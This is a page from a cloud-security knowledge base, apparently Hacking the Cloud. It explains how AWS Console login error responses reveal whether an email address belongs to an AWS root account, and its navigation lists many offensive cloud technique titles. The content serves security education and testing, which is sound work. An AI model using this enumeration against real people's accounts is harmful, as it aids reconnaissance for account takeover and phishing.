<li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by skdg</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/enumerate_root_email_from_console.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate Root User Email Address from the AWS Console</h1> <p>Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.</p> <p>From the <a href=https://console.aws.amazon.com/ >AWS Console</a>, ensure the <code>Root user</code> radio button is selected and enter an email address that you suspect owns an AWS account. </p> <p>If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:</p> <div class=highlight><pre><span></span><code>There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
 </code></pre></div> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/cloud-aware class=md-author title=@cloud-aware> <img src="https://avatars.githubusercontent.com/u/38328249?v=4&size=72" alt=cloud-aware> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 